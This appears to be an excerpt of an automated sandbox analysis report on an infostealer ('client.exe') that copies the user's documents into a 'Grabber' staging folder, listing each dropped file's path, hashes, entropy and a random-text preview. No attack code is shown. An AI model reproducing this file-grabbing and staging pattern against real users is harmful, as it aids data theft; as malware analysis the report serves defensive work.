SSDEEP:	24:XPzUwxdkbbeZScSZIv3ZoJNWhjcfzkabZsHx:fzUwx4bK+W/+fzuR
MD5:	8B66CD8FCBCEB253D75DB5CDE6291FA2
SHA1:	6CE0386190B9753849299B268AA7B8D15F9F72E2
SHA-256:	51AD0E037F53D8EEDFEBC58112BDFA30796A0A56FBD31B65384B41896489BDB4
SHA-512:	7C46027769E82ACD4E3ACB038FB80E34792E81B0527AE318194FE22BD066699A86E9B3E55AC5A1BCAC005FE0E8B7FB70B041656DF78BF84983A97CEDAA8861DC
Malicious:	false
Preview:	BJZFPPWAPTZISGUNDSDXEATFCUXAGEFCTTZKBNFYFVKDZEMPHZAJNCAVKZWYYNTVOWAJJLGAAUTHJTXJTGQLSVTGXPQIMVSAZAKJXHFSFGEVOJUYTICTQZLJZDQYBUBYFSZSBIOBVSAJCHKIQYCAYMMOZZQCCHGYUFOUMXHXCPNMUMVVZRXZCGPDXYDBBMVMWVPHNHLTQKLDBALGGHIVJYUKXJWAFDLMMQQUEQFWPXRQQODUGQSALTDJTROBSIRXEJYUMIWWHBCANDJZNUJGIKFXUWXKPWKATRJSISRBLFZRNYVGGJJMECDAMBUVQBAZGLVITWWCNZFHKZSKXZCMBCAKDDJCKKLPSOZVUJSWOYBBVEUPDSCKJRFEYGLDGCUHDWDNXCLOHDPVAIFYDTEOJCHJMFFBYBQICVVKCFBQZTCRCDMDLPWOJNYPCOZSCAPIZTHRAONKKSINEYBBWDVGRURGHBALLNKTXIGFWNKLQZPCTSMBRQYVMGXEIBGKILOUERUQSZIKLJQNKDPZJVSDIANCPNMTCRACOINNDAMOQOPAIVLAVJQWKZFANIEXSROWVPTCRRWMWEOIFZXRTNMYBGRZIKPJCTJYJQFKGVOKPTJYXUDCYYOIPMURGGXZGVLUDYKKODERMFIEIWKVSJARDMDMBGKRQHSUCNHMIFNOOKAZIJQSDSIGSBRMCBLXMKFSZZUAJROFXWXYRGSBMDTXFEMBZEMCYBLNRDJBWBOCUMLSOLNUPTETGCYWROACYQSFXBWNHGWPJVQNWAWKUVISCLHXAODXHGTGYBIVDGQQULRMEJMCYHRYXYWXLQTNEIINUCYEPKOEPHTQOQWVAZSBUDRHGYAFVQYNMYCERIVKOVOQNJLBIXTRBDBHNTZPWPYCVFUNIEAVJGCCWWHQQNTFCFYJDTKIZERPJVHSNNBWBOTMBMGRTKDWRLWPSEQAWSWDOFSPSEHOQRGFTQGBAGLJEZFNAHFMRNONCLEXLHXV

C:\Users\user\AppData\Local\e280eeac0bb94d30d67a9675460adab0\user@610930_en-CH\Grabber\DRIVE-C\Users\user\Documents\BJZFPPWAPT\EOWRVPQCCS.xlsx

Download File

Process:	C:\Users\user\Desktop\client.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.692990330209164
Encrypted:	false
SSDEEP:	24:NCzz4hMQMxH70HULgnraTryj1S0KEX64u+O572j79DwzpnQf8A:axH70cauYS0k4u+O125wtnm8A
MD5:	DD71B9C0322AD45992E56A9BCE43FE82
SHA1:	60945B6BC3027451A2E1CFA29D263A994F50E91A
SHA-256:	19AC62FD471E562088365029F7B0672623511CF3E58F2EF6DE1A15C14A2E94E7
SHA-512:	86EA2B42FEB542977FCF534B4708F7A07E09F4ACC413307E660B905408BC4AA9E26C50E907FA02379EA3EBFD18C532CC9DC269B6EA5994E3290082E429CAAE03
Malicious:	false
Preview:	EOWRVPQCCSGUYRPSSKREBPXVQXUWKHGDIJHLBLYMXTIUESLNTSFMRJGDSQHOWECQAJMENKQNNWPVETUPWMXJTCUIAKPCZEENXVLTKYPKROZPDEBFNAJOVCNEXQJFUHQCMLNHGMRJJIPLOMWFWJKKXSTRHWFVLVQPEMFBLDTSCCSXADJIIDQIYCEGSDEDZDWUEJLTYJHMYEHHMBFZCRDHXZVPESWNDGUEFQZTJFSJVKZMWREMIZGAIZANQJKWWXITTXHDQDZOEOGKCEMDUUBDTMNWBRSOWEKQXQDCYJXERQRAMVQCWCTYJPEAJUAWNBRQWGFJAHXJJFRYTZMSGCREPRECKHXXMJGSQEKUCUNCWUAAPBWQVSMWCJGYSLPHJJHJGXSMNLNICJMSGSWRKARHMQXLYSAOPDAPXSMORZLUWYOQTJQNKSCAJWRUEYRFPNOVSMNYRKMTSGRIFLOAJUGJYDTLINOTCEADKRENVYNODFSIJGSDCICIDXZTLLSKKJQSOHYTZRBSHPHXWZOOSKQIRSGPTAOQPBVJAMXOGPYNJMJXAKCTMRRTFCBPOAMNJORWRNZOGZMNBVCCZYQPOQOUXBGKNLFSQWAWEREFQBRDLTVHEFNRUSOARHJPRECDRMPANZRBGCANIUWEBUDVWLYHFTPGBHSZBZBEFUWFHUZPJOVMHGSINZWDUKWPGMGSNSSJNOMETOCJILXRQRGZQFAJCWYQEENIZIMHRBTZUYEOKCQXYLWCKFHOHCOVRVPNTEUARVJEFALBUVYXIYZRMGJWZNYNLPYHZSSCODVXZBIWXIOAVMGMPKCPYIFZIKWRIHNIYASXZLMOLNZOMMYUSCRZBCXRANWWODLPHCXXDPLNYLMHYIUYZJWQLECFNXQEERYDVDBPXOLGZLZQCVYUYKFZGKXWVDQANPXQYAATYFJALGENVLDMHDASWKNNXODUHLXYGCBUKEFWISCCUWXNUNETWMTQHQDJMAXNPFPLMPQO

C:\Users\user\AppData\Local\e280eeac0bb94d30d67a9675460adab0\user@610930_en-CH\Grabber\DRIVE-C\Users\user\Documents\BJZFPPWAPT\EWZCVGNOWT.pdf

Download File

Process:	C:\Users\user\Desktop\client.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.690071120548773
Encrypted:	false
SSDEEP:	24:Hpi2eIMaeHmnj0AhtUkcnKCORSCQH8qvLrUo:Hs2e4njIkc6xQH8qvv5
MD5:	8F49644C9029260CF4D4802C90BA5CED
SHA1:	0A49DD925EF88BDEA0737A4151625525E247D315
SHA-256:	C666CACFDB412CE2BC653F9E2F19484DE94216D950F8C304D1F1F8ADD2EE32CE
SHA-512:	CA63EE1758AFE40FB8569FB3FF5A52BED8A593DC163F5F2462CEBFE1EA4F3F7AB4561435912279C4371944F7C63068D7474AB9F38492F34567E10E5188338C7E
Malicious:	false
Preview:	EWZCVGNOWTCRGCAHGHIARWHBREQUWUMDZTEFKOZTBZKDHTGWOMOMXQJLCILTVOXJTWXEZRFVVOJJDUXCZNNWMUHQTYLHFYPOOBFJLGZGDSYZASNMWULDKVPIBSBESQVOBWTJCIQCCRZOQSMEFZAEOCFIPUXIHTROYFKQUTFSAUWBWISJHTVIQQEEIJVJHOBGZOPHDRBICMJCZJYKKJVLBUSHZHJSFDMYEGPBFRDSFIJIUADWYUWFSOFGQCFBFZHQMDWRKPFVNPDGQDAXYWPQENYPVCKPJTHAOXRLVMNFIOJBVFWANBCOTBENTFVQZCFBFDBMQUHCCCHMMQUOWSBCZYACVCNJFQKUCOMHGVNGGVDACUHMUYLJZQAKUNMISIRRZWDKBKSCPQEZJBHYOZZAXJVBHPFZNDXVHGWHNSVWMYZWRVIDTUCEOPZZRDVHTZKWHATLUHBDJSDWLCXQNXOWYUDQGZJKCAXDTIVXTBCQYHDKCAAFPJFSMAIFXPBWZRPFPKSDNBTLCMBJVBNHSANLTYRSVYQCPKAVQBYOUIOKJPCSLSZRHROXWWPPNZAAXTNVEINHTCLXLDMDBKYPOGMKCUIRVICNSACARZMRYFMXNDTHABPDGEHGCEAXGZZZNHYOCNFJZCIJNBBNBGAUMIROJJYSLPZARPCRZNPUZHXYZLDLXFPTCUWDLYNUMOSJWAOBYFOHEOOAGSALYXBYBYNOLNVRWYGBMDREEFNSPFBRMCNZKOZYEFYTGCMVSCLNGPIPBUDCPAMQEHOAUUBIQZZVXLYZWJOMBCITZXNLTEPYYRLUUAPJTGKEVKMNIMNQWNLLBUVLJOYGWJXXREBMWKGHQSRPNVJAECVNLXPVKWNPACZWFRCNSRBCRVPAPFJGUCNKUOOMSEURPZQJTKWTBOYFSFQOBHOUCLHWYMZMDGTXJBELWCWSQGBSNYBSEAJYTJCJQBKRUPJLBACULNATKEWAJTPTTOUKYDWVFZCDBMMO

C:\Users\user\AppData\Local\e280eeac0bb94d30d67a9675460adab0\user@610930_en-CH\Grabber\DRIVE-C\Users\user\Documents\BJZFPPWAPT\NYMMPCEIMA.png

Download File

Process:	C:\Users\user\Desktop\client.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.6957997909429325
Encrypted:	false
SSDEEP:	24:kKnyV7BxweFQl79j+hRxUY//oWt/yeHEMcXJn25feaqrZZqW+LRJvy:kKnY7wGQlSxH/9kM0Jn25grZgRJa
MD5:	4F49714E789620AEDB7B9565DC949466
SHA1:	5917AC09E3D5074BFF8E1289865CAFF6403D1E82
SHA-256:	A9D5D3D8BE1D9E0187DA4AF85AFF3E2D1D6DE977D13EDA76900C96D98A8F073B
SHA-512:	61F147FA2B300AC2E3A42445F1283A47C805B756F36730CDCD4DB5A711BE43EFA471C7ECFB865908791852D1AAF365284BD4DE01F0EA0BF9DCD416A853C804E9
Malicious:	false
Preview:	NYMMPCEIMABCZIWJTJBTGSCCAGUWVTYLYWSVBSDZXQVJYUDCVLRURABBOBVCVDMKRKSRCSPXNAWPZJIOBULMRNUUOMOQGMWJLMZDBRBKAATADQPXHJFNCLPVAYDJHNDQMYWKBXYCBZJQANHQXCJPZQWORFXISYXSVTGTQJXNOUHRMKMJWJYCVNYAJFLKQVPGEYIUPPSZIHLNRGNCVNQBEZHDSJLAAKTOQOPFKISQUVSYIJUTXMPMVSFBVQNNFUXQRBBZWPVQFKOIAVQQMWQKLBSRPGKOQWZJAMBIDYJLYFILNAEEJCLRGBXDTSTBTNJDUXNFJBEZUDHSQUEENVIJUBNKGOLASBWAZBYYZZCOGWIJLRICWMFOAHSZVHCPRGDQXQUHZNZAIBOSXNAEYXAGWDBIHQGHOMKGZVYJDFBRWFKGJWGGPPTKNYWOHJZEIWRXWBERKQREQFMJHAKYHJCBTJJONCVMKTRJZVEWZOAKRUZLPQOXEQLKYATRQESEWRXETALDGKSHWFGQVXVYWPZEUDKTVGFGTXHQNKYUTVLNVAJFDYFPLRACHLYNSSVZZIAKKEEENZFLNPGNCVKMHGOYMQEBOXNMEXNXHUPMZAMZZQVDPFGLUSJHKGQWGKDPXMSIYPGNIXUXSJQFAXJLLSOUEANCWYAHDTOQTEKVGNOWSZINVNYZYIYNTVHHTDVGBTBPYPINRBPJYKHMRFCGSMCNFESVFMQIFPOJDAJGZEYTMLYQIIYRBVNEZSIWWOKGVIVGLXAQUNYDTWHGEWOLDMZRPSOAJKFXVJJTTIAJVLZGIFIWTHVZZGQOVGNSYXTJVFSXNDQLHICPBSAZIKIPLGSRTCKFEGRKNLTONCJFACYIGQPYUHVPNPUUGOOGHBAMCKOGYKVNNBSVPYVHZVJCMTDSHLBWEDMSWSFZAIRFDEYBDVHTWHABAXCAQCTXQRIUHVQFAEPMNYIWIBWVEEZTZGQTPDYRFAGKUGAEBSQFYYQG

C:\Users\user\AppData\Local\e280eeac0bb94d30d67a9675460adab0\user@610930_en-CH\Grabber\DRIVE-C\Users\user\Documents\BJZFPPWAPT\TQDFJHPUIU.jpg

Download File

Process:	C:\Users\user\Desktop\client.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.697771666106845
Encrypted:	false
SSDEEP:	24:TwdgExX6lswcsA1Wo1+js3mQmFlw2UJh6QHssg9RGVQ8:T6KiV+KmQmFwhtMp9RGVH
MD5:	D910958AF930D9DCA27D8F529EC053D0
SHA1:	321478679C760C347743149A323469AD4BFEA87D
SHA-256:	C70010ABE33AC34A7DB2F84B5ECDEA5EF95D482B69138707C126D2C1C1B67F37
SHA-512:	0BCADFF480F8F0C7E5DDC316F678564A75785640F151ACA644CABE64AD10D0D4AD6156385A4B04DF9025C6ADCDB3787123EC21F57610F1A7FBC7727A12EB8A00
Malicious:	false
Preview:	TQDFJHPUIUELSDZVLDSOEPJOAGZMFPGEGXRLLWCATKTXUFCCYBMLLTOAWXCBRXEASQCNMLCVLTUZVHIGECOSKDAKWRYISSWUBTJPNWVMOQIBOVCDGZBZLOBWHRRJWCIVVOOXQYXMXXZMUJFNAGIRMQEQNBGKVATBJCBUBSWVZNUBPOSGZZKDLPMWNJJYMXSJFTKODUAYUUUFMAXNGYJPXGZQGSVLQUGDVVRJNEOKUCNTIRLLCNKTYMTQNZJJKSKBSONPJUKRASZVNLIXIMVFHLBZMMQBRQMADRKDIUMEEGDUNISFUQIECDZCRHSRRYZPGKJVXJOWYFDCIFWRPIQIGFARPTXNAEOTZASGGBUAORTYTQKACAIMSIJTKMTNMLSJSOHBNKDCPBUROQGRJNZUWHAQAOIYBGRJZNQFPXFARCDCRYDEHQKZSBWQRIZUALGAGONASBDAUUWWGWMIACXEKQGBFHNSVOMSMNKHUCCICMZPSQBAOJSAJLHYYTHCBOJYRGLPACKOYWSINXQWZTVPZZGDMLUEMLVMWGYQVWJXSKGMTZXFWDQTDCMARKFNKCUZOJJCUBDFZIQECIQSBZWGGGYXJKXBOJMSDVJPFGXNBLAVKQLERCTILRLNODWOHUHAHUKXKKYDMHZJUTFVHEQDYGBYCPPMSUVFTBPYSDWSPRWOOVOMFFXVHKXCQNSANIDGQLMMNSDROMFQDXTGDYVZZKZMXJGFRGTCUUWAEMNPZJJQANNDMULSUEIOQHQUZBJGBBFBYEITVHYSXFUDFMPLOAIHQGZLPYMHUKXYLKLKILTNDAXWVKITWAKIJERKCLMHSEKWBLLPKKZZWHXZMSHTTCPRPQUXXDNKWNYSNTNWEZAVSUMPTOQBTAMVGRIMPCIHLVZDKXOJHRUGCUCYCCGSKYZFHLNROAETESAVZHHZSEDGXUMPIWCICTRSGZRIRINHSZURTKUBQMVZLOYEFVZZTFCGUJKCBMMLKUJTDVWC

C:\Users\user\AppData\Local\e280eeac0bb94d30d67a9675460adab0\user@610930_en-CH\Grabber\DRIVE-C\Users\user\Documents\DUUDTUBZFW.png

Download File

Process:	C:\Users\user\Desktop\client.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.701195573484743
Encrypted:	false
SSDEEP:	24:CXuIDWqLgX6vdVaxL46BNaYMbtbF+qEBHi7z/dd0Vc/6cUmeDs:ODHgX6vd0l4gnMbtbF+qEMPdNiTmcs
MD5:	2530C45A92F347020337052A8A7D7B00
SHA1:	7EB2D17587824A2ED8BA10D7C7B05E2180120498
SHA-256:	8BEAEA56B1D06BFFFE6142E95BC808FD28015E6A3FF32BC2FAC4C5A7552FC853
SHA-512:	78F4D4E93139D099D59F17867A6BB87A7DB92E1637A520B522A32DF14D18A39602F1C255C64C4C406BA45138294D9467850FEEA90C199D3434D60AE1C7F6B4DA
Malicious:	false
Preview:	DUUDTUBZFWQODSNPWYYAIDZFECIUBQYLVGHZRZFDGGWVZPGQSHTPZANMRMNDUZLXCVYYIRRTMYEOTHOFJLCKQKOCQKNMRKZTHKIIPBKXIKLDAZFJGRVUHMDDXAMADOCGROYYDTNZZUEROBUVEGQEAZOMYVDGVHXUWCBVRBLFLWITRUFMXJJLQTZTWLOSFUMQDKRZDXVRLBYBKLXGLTGADROPECYTRYJQJWZDWJQHGRYFIQLJDBJUFPEPZLWGXGGDQGOLJCVZAPHJZOSIZQHISQFRJJGEZIJEFACYWHJRHAADQBMDQFJAGFBEZNQNGWDHSAAXOAEHIEHTAEPMOFJSOCRPTEUZGGSVYGVNUAYJPFNXFSYEEMDNDGDUBNXUOHVEJQBDRGSCASTDANAAFPQYQEHHTAOTYKYJJYXDZMUTBXBCIFNYSYWNMYAEEUEIGDANIBIJWTMCMGVDPOCAVEJZDTVMKOQPOOOKMLFWWMOASXZUZVHWZKPBVANJIBBDPCEKXDPEFNTXPTFJRBFUPHQCKMDMMXQPDZLJPURSOLPQREZLEFYXCGNKSFQRMLKDMGSNURCWGNTDQUIOYBPNJAYWOVTXRGROGVHNGIEDBYKUHNRBBDKYQXANPQWPKEOHDUBNRSQPALMLJEQFMXCQMEOAKBRREEJTYCHGUEGBGPJLGWRCLYLAKRESHJPMPCUHRFXHVUIQCQZYDTCNRGWVTYBMIILXIIIOGMHAQBLHFXCLTIKGXWDVRGSSRDNCYOVCLTUUEWRIDEOSWWZKTQLGLSIFPVAFJDGWVZYJUOVTMGGZMWUYOQYCLDNLMKWCJBKOXTWTPCMMIEYMISQTQCKMPNWJVAXPFISOGTRIMGKBHKEJOEDYIGOBOPVFADMXZUZQZVMUDYSPUHDXFZMAVPGIHURQNBZXXDWPSHUEZEFABRCKBUQLCPYBNGKJCWBTBSWMABCFIYQJOHFJJEPNNMRWWMNLOTWSMOXCILCCNICPDFTO

C:\Users\user\AppData\Local\e280eeac0bb94d30d67a9675460adab0\user@610930_en-CH\Grabber\DRIVE-C\Users\user\Documents\EFOYFBOLXA.docx

Download File

Process:	C:\Users\user\Desktop\client.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.696178193607948
Encrypted:	false
SSDEEP:	24:/X8jyAbnZdGxzRopIIg0xlAqLR61W80Ic9ALjzEk1CceqZQ:gyYnjGxdKL8NlMAzEk0EK
MD5:	960ECA5919CC00E1B4542A6E039F413E
SHA1:	2079091F1BDF5B543413D549EF9C47C5269659BA
SHA-256:	A103755C416B99D910D0F9B374453FADF614C0C87307A63DB0591D47EBBD14F4
SHA-512:	57D6AD727BEB9ADB7DED05BC0FCE84B43570492DA4E7A0CCAB42FFF2D4EEF6410AEDC446F2D2F07D9CE524C4640B0FB6E13DCD819051E7B233B35F8672A5ADB7
Malicious:	false
Preview:	EFOYFBOLXACUDYURQVAYVJXHJUGEEDPZADUOAPPOQQWQWQUHVVNJESQUUMLWZGSPUVGMFUNVUAJZVMUXELMWQMQASSSGGGJJGKEXZJITZCZHBFNFKPSAPJIYNYUGZHKNTNXKHXTBXQPWUVNOKJUTUOXNNMDSUPTQRWVDMMOHKVXWMJEBHSPNNEQFXTJSRJUQDTTDGEDEKBKLUEAXKKKWXKHTVKNTWBHTZOKZNDMJXKTTGHRNAWWIBUILXUMWZIMCXVXLGVWBIWAGGRITYGTHZCIUGGSPBVQPVSAMZBKHRKSRUKMYEZBGFASYOHNDHDAZICVMOQUNZQXFSSSWJJUJLOPCNSUDNPJGXSQCNLKWNAYAVAFMTSLCNOUBHQKHOIALXKEFDFFQBAGKRNRBIWVREZJOOFMLXAZTWLEAOZRHRBFSBONLILGVTOFKSPDKLHKEYWTXRPOWVHUMWWBBJNKSDDHCZCEZBDSJNMTTRGVZQVZUMECWAMCSNGCNYLUINFNXYCBEUKXUHVXAVTHIPURBBNFYVJTFMOLRZVAXLTLVSXETAIDBKHKCPFZAFQDPCXVFIVQQGEEICSHLCAYFSNSDHOELLSCZOGAAUENDMPCOCUFYZDMLPBNKDUGRDZRARSOMIJFRZRZUIHDMSAFFCNVKSOSQISTWGPAEHFMPZCCZNXMQBAWCBEUPECUJREOJQIHRSWCZZFJMFLJKICDWHXVLIXNXPRQGJYJUOGNEDHQPGFRLOHFADQRBTSXNGFAZNOZBJCPSPRRNIVIHFGIRZACAKFSLJETQMVKRUZJTTQSUXQEUOQNSNEMJADFUZUYAEXCLKPKWEYZNEOFNRPIUJKDSUTOXHDBKNTEVKKRRKWGOAZKYTICBSAEESHOCGXXGAWBZZLXBQCOVSSJALBIGTSKJTMZXGQLEURKHCIHHNDAYOKUXKAVYIWQFZVMPKEXXMPJUYHRWAIPFWTLCJRNQCRDENEBUALFGVEULSBFIKWOO

C:\Users\user\AppData\Local\e280eeac0bb94d30d67a9675460adab0\user@610930_en-CH\Grabber\DRIVE-C\Users\user\Documents\EFOYFBOLXA\BJZFPPWAPT.pdf

Download File

Process:	C:\Users\user\Desktop\client.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.704346314649071
Encrypted:	false
SSDEEP:	24:XPzUwxdkbbeZScSZIv3ZoJNWhjcfzkabZsHx:fzUwx4bK+W/+fzuR
MD5:	8B66CD8FCBCEB253D75DB5CDE6291FA2
SHA1:	6CE0386190B9753849299B268AA7B8D15F9F72E2
SHA-256:	51AD0E037F53D8EEDFEBC58112BDFA30796A0A56FBD31B65384B41896489BDB4
SHA-512:	7C46027769E82ACD4E3ACB038FB80E34792E81B0527AE318194FE22BD066699A86E9B3E55AC5A1BCAC005FE0E8B7FB70B041656DF78BF84983A97CEDAA8861DC
Malicious:	false
Preview:	BJZFPPWAPTZISGUNDSDXEATFCUXAGEFCTTZKBNFYFVKDZEMPHZAJNCAVKZWYYNTVOWAJJLGAAUTHJTXJTGQLSVTGXPQIMVSAZAKJXHFSFGEVOJUYTICTQZLJZDQYBUBYFSZSBIOBVSAJCHKIQYCAYMMOZZQCCHGYUFOUMXHXCPNMUMVVZRXZCGPDXYDBBMVMWVPHNHLTQKLDBALGGHIVJYUKXJWAFDLMMQQUEQFWPXRQQODUGQSALTDJTROBSIRXEJYUMIWWHBCANDJZNUJGIKFXUWXKPWKATRJSISRBLFZRNYVGGJJMECDAMBUVQBAZGLVITWWCNZFHKZSKXZCMBCAKDDJCKKLPSOZVUJSWOYBBVEUPDSCKJRFEYGLDGCUHDWDNXCLOHDPVAIFYDTEOJCHJMFFBYBQICVVKCFBQZTCRCDMDLPWOJNYPCOZSCAPIZTHRAONKKSINEYBBWDVGRURGHBALLNKTXIGFWNKLQZPCTSMBRQYVMGXEIBGKILOUERUQSZIKLJQNKDPZJVSDIANCPNMTCRACOINNDAMOQOPAIVLAVJQWKZFANIEXSROWVPTCRRWMWEOIFZXRTNMYBGRZIKPJCTJYJQFKGVOKPTJYXUDCYYOIPMURGGXZGVLUDYKKODERMFIEIWKVSJARDMDMBGKRQHSUCNHMIFNOOKAZIJQSDSIGSBRMCBLXMKFSZZUAJROFXWXYRGSBMDTXFEMBZEMCYBLNRDJBWBOCUMLSOLNUPTETGCYWROACYQSFXBWNHGWPJVQNWAWKUVISCLHXAODXHGTGYBIVDGQQULRMEJMCYHRYXYWXLQTNEIINUCYEPKOEPHTQOQWVAZSBUDRHGYAFVQYNMYCERIVKOVOQNJLBIXTRBDBHNTZPWPYCVFUNIEAVJGCCWWHQQNTFCFYJDTKIZERPJVHSNNBWBOTMBMGRTKDWRLWPSEQAWSWDOFSPSEHOQRGFTQGBAGLJEZFNAHFMRNONCLEXLHXV

C:\Users\user\AppData\Local\e280eeac0bb94d30d67a9675460adab0\user@610930_en-CH\Grabber\DRIVE-C\Users\user\Documents\EFOYFBOLXA\DUUDTUBZFW.png

Download File

Process:	C:\Users\user\Desktop\client.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.701195573484743
Encrypted:	false
SSDEEP:	24:CXuIDWqLgX6vdVaxL46BNaYMbtbF+qEBHi7z/dd0Vc/6cUmeDs:ODHgX6vd0l4gnMbtbF+qEMPdNiTmcs
MD5:	2530C45A92F347020337052A8A7D7B00
SHA1:	7EB2D17587824A2ED8BA10D7C7B05E2180120498
SHA-256:	8BEAEA56B1D06BFFFE6142E95BC808FD28015E6A3FF32BC2FAC4C5A7552FC853
SHA-512:	78F4D4E93139D099D59F17867A6BB87A7DB92E1637A520B522A32DF14D18A39602F1C255C64C4C406BA45138294D9467850FEEA90C199D3434D60AE1C7F6B4DA
Malicious:	false
Preview:	DUUDTUBZFWQODSNPWYYAIDZFECIUBQYLVGHZRZFDGGWVZPGQSHTPZANMRMNDUZLXCVYYIRRTMYEOTHOFJLCKQKOCQKNMRKZTHKIIPBKXIKLDAZFJGRVUHMDDXAMADOCGROYYDTNZZUEROBUVEGQEAZOMYVDGVHXUWCBVRBLFLWITRUFMXJJLQTZTWLOSFUMQDKRZDXVRLBYBKLXGLTGADROPECYTRYJQJWZDWJQHGRYFIQLJDBJUFPEPZLWGXGGDQGOLJCVZAPHJZOSIZQHISQFRJJGEZIJEFACYWHJRHAADQBMDQFJAGFBEZNQNGWDHSAAXOAEHIEHTAEPMOFJSOCRPTEUZGGSVYGVNUAYJPFNXFSYEEMDNDGDUBNXUOHVEJQBDRGSCASTDANAAFPQYQEHHTAOTYKYJJYXDZMUTBXBCIFNYSYWNMYAEEUEIGDANIBIJWTMCMGVDPOCAVEJZDTVMKOQPOOOKMLFWWMOASXZUZVHWZKPBVANJIBBDPCEKXDPEFNTXPTFJRBFUPHQCKMDMMXQPDZLJPURSOLPQREZLEFYXCGNKSFQRMLKDMGSNURCWGNTDQUIOYBPNJAYWOVTXRGROGVHNGIEDBYKUHNRBBDKYQXANPQWPKEOHDUBNRSQPALMLJEQFMXCQMEOAKBRREEJTYCHGUEGBGPJLGWRCLYLAKRESHJPMPCUHRFXHVUIQCQZYDTCNRGWVTYBMIILXIIIOGMHAQBLHFXCLTIKGXWDVRGSSRDNCYOVCLTUUEWRIDEOSWWZKTQLGLSIFPVAFJDGWVZYJUOVTMGGZMWUYOQYCLDNLMKWCJBKOXTWTPCMMIEYMISQTQCKMPNWJVAXPFISOGTRIMGKBHKEJOEDYIGOBOPVFADMXZUZQZVMUDYSPUHDXFZMAVPGIHURQNBZXXDWPSHUEZEFABRCKBUQLCPYBNGKJCWBTBSWMABCFIYQJOHFJJEPNNMRWWMNLOTWSMOXCILCCNICPDFTO

C:\Users\user\AppData\Local\e280eeac0bb94d30d67a9675460adab0\user@610930_en-CH\Grabber\DRIVE-C\Users\user\Documents\EFOYFBOLXA\EFOYFBOLXA.docx

Download File

Process:	C:\Users\user\Desktop\client.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.696178193607948
Encrypted:	false
SSDEEP:	24:/X8jyAbnZdGxzRopIIg0xlAqLR61W80Ic9ALjzEk1CceqZQ:gyYnjGxdKL8NlMAzEk0EK
MD5:	960ECA5919CC00E1B4542A6E039F413E
SHA1:	2079091F1BDF5B543413D549EF9C47C5269659BA
SHA-256:	A103755C416B99D910D0F9B374453FADF614C0C87307A63DB0591D47EBBD14F4
SHA-512:	57D6AD727BEB9ADB7DED05BC0FCE84B43570492DA4E7A0CCAB42FFF2D4EEF6410AEDC446F2D2F07D9CE524C4640B0FB6E13DCD819051E7B233B35F8672A5ADB7
Malicious:	false
Preview:	EFOYFBOLXACUDYURQVAYVJXHJUGEEDPZADUOAPPOQQWQWQUHVVNJESQUUMLWZGSPUVGMFUNVUAJZVMUXELMWQMQASSSGGGJJGKEXZJITZCZHBFNFKPSAPJIYNYUGZHKNTNXKHXTBXQPWUVNOKJUTUOXNNMDSUPTQRWVDMMOHKVXWMJEBHSPNNEQFXTJSRJUQDTTDGEDEKBKLUEAXKKKWXKHTVKNTWBHTZOKZNDMJXKTTGHRNAWWIBUILXUMWZIMCXVXLGVWBIWAGGRITYGTHZCIUGGSPBVQPVSAMZBKHRKSRUKMYEZBGFASYOHNDHDAZICVMOQUNZQXFSSSWJJUJLOPCNSUDNPJGXSQCNLKWNAYAVAFMTSLCNOUBHQKHOIALXKEFDFFQBAGKRNRBIWVREZJOOFMLXAZTWLEAOZRHRBFSBONLILGVTOFKSPDKLHKEYWTXRPOWVHUMWWBBJNKSDDHCZCEZBDSJNMTTRGVZQVZUMECWAMCSNGCNYLUINFNXYCBEUKXUHVXAVTHIPURBBNFYVJTFMOLRZVAXLTLVSXETAIDBKHKCPFZAFQDPCXVFIVQQGEEICSHLCAYFSNSDHOELLSCZOGAAUENDMPCOCUFYZDMLPBNKDUGRDZRARSOMIJFRZRZUIHDMSAFFCNVKSOSQISTWGPAEHFMPZCCZNXMQBAWCBEUPECUJREOJQIHRSWCZZFJMFLJKICDWHXVLIXNXPRQGJYJUOGNEDHQPGFRLOHFADQRBTSXNGFAZNOZBJCPSPRRNIVIHFGIRZACAKFSLJETQMVKRUZJTTQSUXQEUOQNSNEMJADFUZUYAEXCLKPKWEYZNEOFNRPIUJKDSUTOXHDBKNTEVKKRRKWGOAZKYTICBSAEESHOCGXXGAWBZZLXBQCOVSSJALBIGTSKJTMZXGQLEURKHCIHHNDAYOKUXKAVYIWQFZVMPKEXXMPJUYHRWAIPFWTLCJRNQCRDENEBUALFGVEULSBFIKWOO

C:\Users\user\AppData\Local\e280eeac0bb94d30d67a9675460adab0\user@610930_en-CH\Grabber\DRIVE-C\Users\user\Documents\EFOYFBOLXA\GRXZDKKVDB.xlsx

Download File

Process:	C:\Users\user\Desktop\client.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.697358951122591
Encrypted:	false
SSDEEP:	24:GllFjmGrUw8wsY1UbsUhBRShwdYjDuvHNeGXNei:WFewtsZZp8DkHzNL
MD5:	244A1B624BD2C9C3A0D660425CB1F3C6
SHA1:	FB6C19991CC49A27F0277F54D88B4522F479BE5F
SHA-256:	E8C5EAACF4D2C4A65761719C311785A7873F0B25D849418ED86BBFE9D7F55C96
SHA-512:	9875E6DE2ACC859CACC2873F537DDE6ED4EC8CA00CBA3D28535E0440D76FFD475B66C52B6217D311D301C4B9A097619CF29A26B2FD54D03CD27A20A17EC9CA31
Malicious:	false
